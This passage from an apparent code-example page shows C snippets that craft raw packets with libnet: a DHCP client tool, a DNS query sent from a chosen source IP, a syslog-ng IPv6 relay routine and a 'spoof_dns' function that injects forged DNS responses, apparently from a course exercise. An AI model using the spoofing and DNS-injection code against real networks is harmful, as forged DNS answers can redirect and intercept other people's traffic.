  }

  /* Set cip address */  
  if (arg_cip != NULL) {
    cip = inet_addr(arg_cip);
    if (cip == INADDR_NONE) {
      if (verbosity > 0) 
        printf("Invalid cip address specified (%s)\n", arg_cip);
      exit(1);
    }
    cip = ntohl(cip);
  }
  else {
    /* Try to retrieve IP address using libnet */
    cip = libnet_get_ipaddr4(lnp);
    if ((int)cip == -1) {
      if (verbosity > 1) {
        printf("Failed to retrieve IPv4 address for interface %s, using cip 0.0.0.0\n"
          "Libnet said: %s\n", ifname, libnet_errbuf);
      }
      cip = inet_addr("0.0.0.0");
    }
    else
      cip = htonl(cip);
  }


  /**************************/
  /* Set various parameters */
  /**************************/

  if (arg_operation != NULL) {
    if (option_added(LIBNET_DHCP_MESSAGETYPE) && no_double_options) {
      if (verbosity > 0) {
        printf("Error: DHCP messagetype specified twice (don't use -o option if\n"
               "       you also intend to use -O to set option 53 (messagetype))\n");
      }
      exit(1);
    }
    if (strcasecmp(arg_operation, "discover") == 0) {
      operation = LIBNET_DHCP_MSGDISCOVER;
      if (arg_timeout == NULL)
        timeout = 5;
    }
    else if (strcasecmp(arg_operation, "request") == 0) {
      operation = LIBNET_DHCP_MSGREQUEST;
      if (arg_timeout == NULL)
        timeout = 5;
    }
    else if (strcasecmp(arg_operation, "inform") == 0) {
      operation = LIBNET_DHCP_MSGINFORM;
      if (timeout == 0)
        timeout = 5;
    }
    else if (strcasecmp(arg_operation, "release") == 0)
      operation = LIBNET_DHCP_MSGRELEASE;
    else if (strcasecmp(arg_operation, "decline") == 0)
      operation = LIBNET_DHCP_MSGDECLINE;
    else {
      if (verbosity > 0)
        usage("Invalid DHCP operation type");
      else
        exit(1);
    }
    /* Add MESSAGETYPE DHCP option */
    num_options++;
    options = (struct dhcp_option *)
      realloc(options, num_options * sizeof(struct dhcp_option));
    options[num_options-1].opnum = LIBNET_DHCP_MESSAGETYPE;
    options[num_options-1].oplen = 1;
    options[num_options-1].opdata[0] = operation;
  }
  else {
    /* no "-o operation" argument given */
    if (option_added(LIBNET_DHCP_MESSAGETYPE) == 0) {
      /* Add MESSAGETYPE DHCP option */
      num_options++;
      options = (struct dhcp_option *)
        realloc(options, num_options * sizeof(struct dhcp_option));
      options[num_options-1].opnum = LIBNET_DHCP_MESSAGETYPE;
      options[num_options-1].oplen = 1;
      options[num_options-1].opdata[0] = operation;
    }
  }

  if (arg_secs != NULL) {
    unsigned long ultmp;
    ultmp = strtoul(arg_secs, &stmp, 0);
    if (*stmp != '\0' || ultmp > 65535) {
      if (verbosity > 0)
        printf("Error: secs must be 0-65535 (was: %s)\n",
          arg_secs);
      exit(1);
    }
    secs = (u_int16_t)ultmp;
  }

  if (arg_timeout != NULL) {
    timeout = strtoul(arg_timeout, &stmp, 0);
    if (*stmp != '\0') {
      if (verbosity > 0)
        printf("Error: timeout value must be 0 or a positive integer (was: %s)\n",
          arg_timeout);
      exit(1);
    }
  }

  if (arg_reply_count != NULL) {
    reply_count = strtoul(arg_reply_count, &stmp, 0);
    if (*stmp != '\0') {
      if (verbosity > 0)
        printf("Error: reply_count value must be 0 or a positive integer (was: %s)\n",
          arg_reply_count);
      exit(1);
    }
  }

  if (arg_xid != NULL) {
    xid = strtoul(arg_xid, &stmp, 0);
    if (*stmp != '\0') {
      if (verbosity > 0) 
        printf("Error: xid value must be 0 or a positive integer (was: %s)\n",
          arg_xid);
      exit(1);
    } 
  }

  if (arg_flags != NULL) {
    unsigned long ultmp;
    ultmp = strtoul(arg_flags, &stmp, 0);
    if (*stmp != '\0' || ultmp > 65535) {
      if (verbosity > 0) 
        printf("Error: flags value must be 0-65535 (was: %s)\n",
          arg_flags);
      exit(1);
    }
    flags = (u_int16_t)ultmp;
  }

  if (arg_sip != NULL) {
    sip = inet_addr(arg_sip);
    if (sip == INADDR_NONE) {
      if (verbosity > 0)
        printf("Error: specified sip value is not a valid IPv4 address (was: %s)\n",
          arg_sip);
      exit(1);
    }
  }

  if (arg_yip != NULL) {
    yip = inet_addr(arg_yip);
    if (yip == INADDR_NONE) {
      if (verbosity > 0)
        printf("Error: specified yip value is not a valid IPv4 address (was: %s)\n",
          arg_yip);
      exit(1);
    }
  }

  if (arg_gip != NULL) {
    gip = inet_addr(arg_gip);
    if (gip == INADDR_NONE) {
      if (verbosity > 0)
        printf("Error: specified gip value is not a valid IPv4 address (was: %s)\n",
          arg_gip);
      exit(1);
    }
  }

  if (arg_fname != NULL) {
    fname = (char *)malloc(strlen(fname)+1);
    strcpy(fname, arg_fname);
  }
  if (arg_sname != NULL) {
    sname = (char *)malloc(strlen(sname)+1);
    strcpy(sname, arg_sname);
  }

  if (arg_ipv4_src != NULL) {
    ipv4_src = inet_addr(arg_ipv4_src);
    if (ipv4_src == INADDR_NONE) {
      if (verbosity > 0)
        printf("Error: specified ipv4_src value is not a valid IPv4 address (was: %s)\n",
          arg_ipv4_src);
      exit(1);
    }
  }

  if (arg_ipv4_dst != NULL) {
    ipv4_dst = inet_addr(arg_ipv4_dst);
    if (ipv4_dst == INADDR_NONE) {
      if (verbosity > 0)
        printf("Error: specified ipv4_dst value is not a valid IPv4 address (was: %s)\n",
          arg_ipv4_dst);
      exit(1);
    }
  }

  if (arg_ipv4_ttl != NULL) {
    unsigned long ultmp;
    ultmp = strtoul(arg_ipv4_ttl, &stmp, 0);
    if (*stmp != '\0' || ultmp > 255) {
      if (verbosity > 0) 
        printf("Error: ipv4_ttl value must be 0-255 (was: %s)\n",
          arg_xid);
      exit(1);
    }
    ipv4_ttl = (u_int8_t)ultmp;
  }

  if (arg_ipv4_tos != NULL) {
    unsigned long ultmp;
    ultmp = strtoul(arg_ipv4_tos, &stmp, 0);
    if (*stmp != '\0' || ultmp > 255) {
      if (verbosity > 0) 
        printf("Error: ipv4_tos value must be 0-255 (was: %s)\n",
          arg_ipv4_tos);
      exit(1);
    }
    ipv4_tos = (u_int8_t)ultmp;
  }

  if (arg_ether_dst != NULL) {
    int l = ETHER_ADDR_LEN;
    /*ether_dst = libnet_hex_aton((int8_t *)arg_ether_dst, &l);*/
    ether_dst = libnet_hex_aton(arg_ether_dst, &l);
    if (ether_dst == NULL) {
      if (verbosity > 0)
        printf("Error: invalid ethernet destination MAC specified (was: %s)\n",
          arg_ether_dst);
      exit(1);
    }
  }


  /******************************
   * Done setting parameters.   *
   * Start building DHCP packet *
   ******************************/

  libnet_clear_packet(lnp);

  /* Build DHCP payload (DHCP options section) */
  dhcp_payload = build_payload(&dhcp_payload_len);

  /* Create DHCP message */
  ptag_dhcpv4 = 
    libnet_build_dhcpv4(LIBNET_DHCP_REQUEST,
                         BOOTP_HTYPE_ETHER,
                         ETHER_ADDR_LEN,
                         BOOTP_HOPCOUNT,
                         xid,
                         secs,
                         flags,
                         cip,
                         yip,
                         sip,
                         gip,
                         chaddr,
                         sname,
                         fname,
                         dhcp_payload,
                         dhcp_payload_len,
                         lnp,
                         0);
  if (ptag_dhcpv4 == -1) {
    printf("Failed to build bootp packet: %s\n", libnet_errbuf);
    exit(1);
  }

/*
libnet_ptag_t
libnet_build_udp(u_int16_t sp, u_int16_t dp, u_int16_t len, u_int16_t sum,
u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
*/

  /* Create UDP datagram */
  ptag_udp =
    libnet_build_udp(UDP_SRCPORT,
                     UDP_DSTPORT,
                     dhcp_payload_len + LIBNET_DHCPV4_H + LIBNET_UDP_H,
                     0,
                     NULL,
                     0,
                     lnp,
                     0);
  if (ptag_udp == -1) {
    printf("Failed to build udp packet: %s\n", libnet_errbuf);
    exit(1);
  }

/*
libnet_ptag_t
libnet_build_ipv4(u_int16_t len, u_int8_t tos, u_int16_t id, u_int16_t frag,
u_int8_t ttl, u_int8_t prot, u_int16_t sum, u_int32_t src, u_int32_t dst,
u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
*/

  /* Create IPv4 datagram */
  ptag_ipv4 =
    libnet_build_ipv4(dhcp_payload_len + LIBNET_DHCPV4_H + LIBNET_UDP_H + LIBNET_IPV4_H,
                      ipv4_tos,
                      ipv4_id++,
                      0,
                      ipv4_ttl,
                      IPPROTO_UDP,
                      0,
                      ipv4_src,
                      ipv4_dst,
                      NULL,
                      0,
                      lnp,
                      0);
  if (ptag_ipv4 == -1) {
    printf("Failed to build ipv4 packet: %s\n", libnet_errbuf);
    exit(1);
  }

  /* Create ethernet packet */
  ptag_ethernet = 
    libnet_autobuild_ethernet(ether_dst,
                              ETHERTYPE_IP,
                              lnp);
  if (ptag_ethernet == -1) {
    printf("Failed to build ethernet packet: %s\n", libnet_errbuf);
    exit(1);
  }

  /* Write packet to network */
  if (libnet_write(lnp) == -1) {
    printf("Failed to write ethernet packet to network: %s\n", libnet_errbuf);
    exit(1);
  }

  /* If we have to wait and listen for server replies, we use
     a timer and a signal handler to quit. We do this as libpcap
     doesn't support non-blocking packet capture on some (many?)
     platforms. We could have launched another thread also, but
     using timers and signals is simpler.
   */
  if (timeout > 0) {
    struct itimerval itv;
    itv.it_interval.tv_sec = itv.it_value.tv_sec = timeout;
    itv.it_interval.tv_usec = itv.it_value.tv_usec = 0;
    setitimer(ITIMER_REAL, &itv, NULL);
    signal(SIGALRM, sighandler);
    pcap_loop(pcp, -1, pcap_callback, NULL);    
  }

  libnet_destroy(lnp);
  pcap_close(pcp);
  exit(0);
}
Ejemplo n.º 28
0
int main (int argc, char **argv)   {
    u_long  src_ip,                 /* source address          */
            dst_ip;                 /* destination address     */
    u_short src_port,               /* source port             */
            dst_port,               /* destination port        */
            id;                     /* dns id we are spoofing  */
    int     written_bytes,          /* number of bytes written */
            packet_size,            /* size of our packet      */
            payload_size,           /* size of our payload     */
            socket;                 /* socket to write on      */
    u_char  *packet,                /* we build this           */
            *payload;               /* we send this            */

    if (argc < 6)   {
        printf("\nusage: ask_dns <source_ip> <port> <destination_ip> <port> <dns_id>\n");
        exit (EXIT_FAILURE);
    }

    if ((socket = libnet_open_raw_sock(IPPROTO_RAW)) == -1)
        libnet_error(LIBNET_ERR_FATAL, "network initialization failed\n");

    src_ip   = libnet_name_resolve(argv[1], 0);
    dst_ip   = libnet_name_resolve(argv[3], 0);
    src_port = (u_short) atoi(argv[2]);
    dst_port = (u_short) atoi(argv[4]);
    id       = (u_short) atoi(argv[5]);

    payload      = "\x03\x77\x77\x77\x07\x72\x65\x64\x68\x69\x76\x65\x03\x63\x6f\x6d\x00\x00\x01\x00\x01";
    payload_size = 21;

    /*
     *  packet memory allocation
     */

    packet_size = payload_size + LIBNET_IP_H + LIBNET_UDP_H + LIBNET_DNS_H;

    libnet_init_packet(packet_size, &packet);
    if (packet == NULL)
        libnet_error(LIBNET_ERR_FATAL, "libnet_init_packet failed\n");

    /*
     *  ip header construction
     */

    libnet_build_ip(payload_size + LIBNET_UDP_H + LIBNET_DNS_H,
            0,                      /* ip tos              */
            0,                      /* ip id               */
            0,                      /* fragmentation bits  */
            64,                     /* ttl                 */
            IPPROTO_UDP,            /* protocol            */
            src_ip,                 /* source address      */
            dst_ip,                 /* destination address */
            NULL,                   /* payload             */
            0,                      /* payload length      */
            packet);                /* packet buffer       */

     /*
      * udp header construction
      * during debugging i found that we weren't generating the correct
      * length here, that is why a payload length is included (payload + dns_header)
      * it really shouldn't be here though
      */

    libnet_build_udp(src_port,      /* source port      */
            dst_port,               /* destination port */
            NULL,                   /* payload          */
            33,                     /* payload length   */
            packet + LIBNET_IP_H);

    /*
     *  dns header construction
     */

    libnet_build_dns(id,            /* dns id                    */
            0x0100,                 /* control flags             */
            1,                      /* number of questions       */
            0,                      /* number of answer RR's     */
            0,                      /* number of authority  RR's */
            0,                      /* number of additional RR's */
            payload,                /* payload                   */
            payload_size,           /* payload length            */
            packet + LIBNET_IP_H + LIBNET_UDP_H);

    /*
     *  calculate checksum
     */

    libnet_do_checksum (packet, IPPROTO_UDP, packet_size - LIBNET_IP_H);

    /*
     *  write packet
     */

    written_bytes = libnet_write_ip(socket, packet, packet_size);

    /*
     *  make sure the number of written bytes jives with what we expect
     */

    if (written_bytes < packet_size)
        libnet_error(LN_ERR_WARNING, "libnet_write_ip only wrote %d of %d bytes\n", written_bytes, packet_size);

    /*
     *  we're done with this packet
     */

    libnet_destroy_packet(&packet);

    /*
     *  we're done writing
     */

    if (libnet_close_raw_sock(socket) == -1)
        libnet_error(LN_ERR_WARNING, "libnet_close_raw_sock couldn't close the interface");

    return (written_bytes == -1 ? EXIT_FAILURE : EXIT_SUCCESS);
}
Ejemplo n.º 29
0
static gboolean
afinet_dd_construct_ipv6_packet(AFInetDestDriver *self, LogMessage *msg, GString *msg_line)
{
  libnet_ptag_t ip, udp;
  struct sockaddr_in *src4;
  struct sockaddr_in6 src, *dst;
  struct libnet_in6_addr ln_src, ln_dst;

  switch (msg->saddr->sa.sa_family)
    {
    case AF_INET:
      src4 = (struct sockaddr_in *) &msg->saddr->sa;
      memset(&src, 0, sizeof(src));
      src.sin6_family = AF_INET6;
      src.sin6_port = src4->sin_port;
      ((guint32 *) &src.sin6_addr)[0] = 0;
      ((guint32 *) &src.sin6_addr)[1] = 0;
      ((guint32 *) &src.sin6_addr)[2] = htonl(0xffff);
      ((guint32 *) &src.sin6_addr)[3] = src4->sin_addr.s_addr;
      break;
    case AF_INET6:
      src = *((struct sockaddr_in6 *) &msg->saddr->sa);
      break;
    default:
      g_assert_not_reached();
      break;
    }

  dst = (struct sockaddr_in6 *) &self->super.dest_addr->sa;

  libnet_clear_packet(self->lnet_ctx);

  udp = libnet_build_udp(ntohs(src.sin6_port),
                         ntohs(dst->sin6_port),
                         LIBNET_UDP_H + msg_line->len,
                         0,
                         (guchar *) msg_line->str,
                         msg_line->len,
                         self->lnet_ctx,
                         0);
  if (udp == -1)
    return FALSE;

  /* There seems to be a bug in libnet 1.1.2 that is triggered when
   * checksumming UDP6 packets. This is a workaround below. */

  libnet_toggle_checksum(self->lnet_ctx, udp, LIBNET_OFF);

  memcpy(&ln_src, &src.sin6_addr, sizeof(ln_src));
  memcpy(&ln_dst, &dst->sin6_addr, sizeof(ln_dst));
  ip = libnet_build_ipv6(0, 0,
                         LIBNET_UDP_H + msg_line->len,
                         IPPROTO_UDP,            /* IPv6 next header */
                         64,                     /* hop limit */
                         ln_src, ln_dst,
                         NULL, 0,                /* payload and its length */
                         self->lnet_ctx,
                         0);

  if (ip == -1)
    return FALSE;

  return TRUE;
}
Ejemplo n.º 30
0
/* Build the new packet and inject it */
void spoof_dns(char *device)
 {
//  printf("Common Dude!");

  struct  in_addr src, dst, spoof;   /* For printing addresses */
  int     inject_size;               /* Number of bytes of injected packet     */
  int     packet_size;               /* Size of the packet          */
  int     i;                         /* misc                        */
  u_char  *packet;                   /* Packet to be built               */
  libnet_t *handler;                 /* Libnet handler */
  libnet_ptag_t dns, tcp, udp, ip;        /* Libnet ptags */
  char errbuf[LIBNET_ERRBUF_SIZE];   /* Error buffer */

  packet_size = spoofpacket.payload_size + LIBNET_IPV4_H + LIBNET_UDP_H + LIBNET_DNS_H;

  /* Open a raw socket */
  handler = libnet_init(LIBNET_RAW4, device, errbuf);
 
  if (handler == NULL)
   {
    printf("Error opening a socket: %s\n", errbuf);
    exit(1);
   }
  
  /* DNS header construction */
  dns = 0;
  udp = 0;
  tcp = 0;
  ip = 0;
  /*****************************************************/
  /******* USE: libnet to construct DNS header here ****/
  /*****************************************************/
  libnet_build_dnsv4  ( LIBNET_UDP_DNSV4_H, 
  			spoofpacket.dns_id,
  			0x8180,
			1,
  			1,
  			0,
  			0,
 			spoofpacket.payload,		//insert payload
  			spoofpacket.payload_size,	//36	//insert length
  			handler,
  			dns   );
     
  




  if (dns == -1) {
    printf("Building DNS header failed: %s\n", libnet_geterror(handler));
    exit(1);
  }

//  printf("DST PORT: %d\n", spoofpacket.dst_port);
//  printf("SRC PORT: %d\n", spoofpacket.src_port);
  //printf("UDP Data: %d\n", spoofpacket.payload_size);
  /* UDP header construction */
  /*** Use libnet to construct UDP header here **/
  libnet_build_udp   (  spoofpacket.dst_port, 
  			spoofpacket.src_port, 
  			spoofpacket.payload_size + LIBNET_DNS_H + LIBNET_UDP_H, // 36 + 12 + 8
			0,				//insert UDP checksum. have to check later 
  			NULL, 				//insert payload
  			0,		//insert lenghth 
  			handler, 
  			udp  );




  if (udp ==-1) {
    printf("Building UDP header failed: %s\n", libnet_geterror(handler));
    exit(1);
  }
  
  /* IP header construction */
  /*****************************************************/
  /******* USE: libnet to construct IP header here ****/
  /*****************************************************/
  libnet_build_ipv4   (   packet_size, 		//56 + 20
 			  0, 
  			  6888,		//libnet_get_prand (LIBNET_PRu16) 
  			  0, 
			  127, 
 			  IPPROTO_UDP, 
  			  0,				////insert IP checksum value. have to check later 
  			  spoofpacket.dst_address, 
  			  spoofpacket.src_address, 
 			  NULL, 			//insert payload
  			  0, 				//insert length
  			  handler, 
 			  ip   );

	//Remember, all length can be debatable

  if (ip == -1) {
    printf("Building IP header failed: %s\n", libnet_geterror(handler));
    exit(1);
  }

  /* Calculate checksum */
  /****** USE: libnet function to generate checksum*******/
  /*******************************************************/
  
  /*  Inject the packet */
  /*******************************************************/
  inject_size = libnet_write(handler);
//printf("Inject: %d\n", inject_size);

  if (inject_size == -1) 
   {
    printf("Write failed: %s\n", libnet_geterror(handler));
   }
  
  printf("--- Spoofed DNS Response injected ---\n\n");

  /*  Destroy the packet */
  /*******************************************************/
  /**************** USE: libnet_destroy() ****************/
  /*******************************************************/
  libnet_destroy(handler);

}